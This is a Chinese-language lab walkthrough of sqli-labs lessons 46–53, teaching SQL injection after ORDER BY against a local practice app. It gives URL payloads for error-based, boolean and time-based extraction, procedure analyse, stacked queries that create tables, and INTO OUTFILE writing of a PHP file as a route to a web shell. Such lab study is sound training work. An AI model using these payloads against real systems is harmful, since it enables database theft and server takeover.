Background-9 order by后的injection
此处应介绍order by后的注入以及limit注入,我们结合less-46更容易讲解,(在less46中详细讲解)所以此处可根据less-46了解即可。
Less-46
从本关开始,我们开始学习order by 相关注入的知识。
本关的sql语句为$sql = "SELECT * FROM users ORDER BY $id";
尝试?sort=1 desc或者asc,显示结果不同,则表明可以注入。(升序or降序排列)
从上述的sql语句中我们可以看出,我们的注入点在order by后面的参数中,而order by不同于的我们在where后的注入点,不能使用union等进行注入。如何进行order by的注入,我们先来了解一下mysql官方select的文档。
我们可利用order by后的一些参数进行注入。
首先
(1)、order by 后的数字可以作为一个注入点。也就是构造order by 后的一个语句,让该语句执行结果为一个数,我们尝试
http://127.0.0.1/sqli-labs/Less-46/?sort=right(version(),1)
没有报错,但是right换成left都一样,说明数字没有起作用,我们考虑布尔类型。此时我们可以用报错注入和延时注入。
此处可以直接构造 ?sort= 后面的一个参数。此时,我们可以有三种形式,
①直接添加注入语句,?sort=(select **)
②利用一些函数。例如rand()函数等。?sort=rand(sql语句)
Ps:此处我们可以展示一下rand(ture)和rand(false)的结果是不一样的。
③利用and,例如?sort=1 and (加sql语句)。
同时,sql语句可以利用报错注入和延时注入的方式,语句我们可以很灵活的构造。
报错注入例子
http://127.0.0.1/sqli-labs/Less-46/?sort=(select%20count(*)%20from%20information_schema.columns%20group%20by%20concat(0x3a,0x3a,(select%20user()),0x3a,0x3a,floor(rand()*2)))
上述例子,可以看到root@localhost的用户名
接下来我们用rand()进行演示一下,因为上面提到rand(true)和 rand(false)结果是不一样的。
http://127.0.0.1/sqli-labs/Less-46/?sort=rand(ascii(left(database(),1))=115)
http://127.0.0.1/sqli-labs/Less-46/?sort=rand(ascii(left(database(),1))=116)
从上述两个图的结果,对比rand(ture)和rand(false)的结果,可以看出报错注入是成功的。
http://127.0.0.1/sqllib/Less-46/?sort=1%20and%20If(ascii(substr(database(),1,1))=116,0,sleep(5))
上述两个延时注入的例子可以很明显的看出时间的不同,这里就不贴图了,图片无法展示延时。。。
同时也可以用?sort=1 and 后添加注入语句。这里就不一一演示了。
(2)procedure analyse参数后注入
利用procedure analyse参数,我们可以执行报错注入。同时,在procedure analyse和order by之间可以存在limit参数,我们在实际应用中,往往也可能会存在limit后的注入,可以利用procedure analyse进行注入。
以下为示范例
http://127.0.0.1/sqli-labs/Less-46/?sort=1%20%20procedure%20analyse(extractvalue(rand(),concat(0x3a,version())),1)
(3)导入导出文件into outfile参数
http://127.0.0.1/sqllib/Less-46/?sort=1%20into%20outfile%20%22c:\\wamp\\www\\sqllib\\test1.txt%22
将查询结果导入到文件当中
那这个时候我们可以考虑上传网马,利用lines terminated by。
Into outtfile c:\wamp\www\sqllib\test1.txt lines terminated by 0x(网马进行16进制转换)
Less-47
本关的sql语句为 $sql = "SELECT FROM users ORDER BY '$id'";
将id变为字符型,因此根据我们上述提到的知识,我们依旧按照注入的位置进行分类。
(1)、order by后的参数
我们只能使用and来进行报错和延时注入。我们下面给出几个payload示例。
① and rand相结合的方式,payload:http://127.0.0.1/sqli-labs/Less-47/index.php?sort=1%27and%20rand(ascii(left(database(),1))=115)--+
换成116后,http://127.0.0.1/sqli-labs/Less-47/index.php?sort=1%27and%20rand(ascii(left(database(),1))=116)--+
此处后期经过测试,还是存在问题的,我们不能使用这种方式进行准确的注入。此处留下只是一个示例。
②可以利用报错的方式进行
http://127.0.0.1/sqli-labs/Less-47/?sort=1%27and%20(select%20count()%20from%20information_schema.columns%20group%20by%20concat(0x3a,0x3a,(select%20user()),0x3a,0x3a,floor(rand()2)))--+
可以看到user()的内容,同时可以构造其他的语句进行注入。
这里再放一个报错注入,原理和上面的payload是一样的,都是利用的mysql重复项的原理。
http://127.0.0.1/sqli-labs/Less-47/?sort=1%27and%20(select%20%20from%20(select%20NAME_CONST(version(),1),NAME_CONST(version(),1))x)--+
此处重复了version(),所以就爆出了版本号
③延时注入
http://127.0.0.1/sqli-labs/Less-47/?sort=1%27and%20If(ascii(substr(database(),1,1))=115,0,sleep(5))--+
这里因database()为security,所以第一个字母的s的ascii为115,此处直接显示,当改为116或者其他的数字的时候,就要延时了,我们这里就不贴图展示了,可以通过脚本爆破。
(2)procedure analyse参数后注入
利用procedure analyse参数,我们可以执行报错注入。同时,在procedure analyse和order by之间可以存在limit参数,我们在实际应用中,往往也可能会存在limit后的注入,可以利用procedure analyse进行注入。
以下为示范例
http://127.0.0.1/sqli-labs/Less-47/?sort=1%27procedure%20analyse(extractvalue(rand(),concat(0x3a,version())),1)--+
(4)导入导出文件into outfile参数
http://127.0.0.1/sqllib/Less-47/?sort=1%27into%20outfile%20%22c:\\wamp\\www\\sqllib\\test.txt%22--+
将查询结果导入到文件当中
那这个时候我们可以考虑上传网马,利用lines terminated by。
Into outtfile c:\wamp\www\sqllib\test1.txt lines terminated by 0x(网马进行16进制转换)
http://127.0.0.1/sqllib/Less-47/?sort=1%27into%20outfile%20%22c:\\wamp\\www\\sqllib\\test.php%22lines%20terminated%20by%200x3c3f70687020706870696e666f28293b3f3e2020--+
此处的16进制文件为<?php phpinfo();?>
我们访问test.php
Less-48
本关与less-46的区别在于报错注入不能使用,不进行错误回显,因此其他的方法我们依旧是可以使用的。
可以利用sort=rand(true/false)进行判断。
http://127.0.0.1/sqli-labs/Less-48/?sort=rand(ascii(left(database(),1))=178)
http://127.0.0.1/sqli-labs/Less-48/?sort=rand(ascii(left(database(),1))=115)
And后的延时注入
http://127.0.0.1/sqli-labs/Less-48/?sort=1%20and%20(If(ascii(substr(database(),1,1))=115,0,sleep(5)))
不贴效果图了。
本关我们依旧可以用into outfile进行。
http://127.0.0.1/sqllib/Less-48/?sort=1 into outfile “路径”
这里就不进行贴图演示了。
Less-49
本关与47关基本类似,区别在于没有错误回显,所以我们可以通过延时注入和导入文件进行注入。
利用延时注入
http://127.0.0.1/sqli-labs/Less-49/?sort=1%27%20and%20(If(ascii(substr((select%20username%20from%20users%20where%20id=1),1,1))=69,0,sleep(5)))--+
延时效果图就不贴图展示了,可以构造substr的第一个参数进行后续注入。
或者利用into outfile进行注入
http://127.0.0.1/sqllib/Less-49/?sort=1%27into%20outfile%20%22c:\\wamp\\www\\sqllib\\test.php%22%20lines%20terminated%20by%200x3c3f70687020706870696e666f28293b3f3e2020--+
Less-50
从本关开始我们开始进行order by stacked injection!
执行sql语句我们这里使用的是mysqli_multi_query()函数,而之前我们使用的是mysqli_query(),区别在于mysqli_multi_query()可以执行多个sql语句,而mysqli_query()只能执行一个sql语句,那么我们此处就可以执行多个sql语句进行注入,也就是我们之前提到的statcked injection。
这里我们上述用到的方法依旧是可行的,我们这里就不重复了,这里就看下stacked injection。
我们直接构造payload:
http://127.0.0.1/sqli-labs/Less-50/index.php?sort=1;create%20table%20less50%20like%20users
创建一个less50的表
前面我们已经赘述了stacked injection的过程,这里就不详细讲解了。
Less-51
本关的sql语句为 $sql="SELECT * FROM users ORDER BY '$id'";
我们此处要进行stacked injection,要注释掉’,此处给出payload:
http://127.0.0.1/sqli-labs/Less-51/index.php?sort=1%27;create%20table%20less51%20like%20users--+
创建表less51
Less-52
和less50是一样的,只是这里的mysql错误不会在前台显示,但是对于stacked injection是一样的利用方式
http://127.0.0.1/sqli-labs/Less-52/index.php?sort=1;create%20table%20less52%20like%20users
Less-53
和less51是一样的,只是这里的mysql错误不会在前台显示,但是对于stacked injection是一样的利用方式
http://127.0.0.1/sqli-labs/Less-53/index.php?sort=1%27;create%20table%20less53%20like%20users--+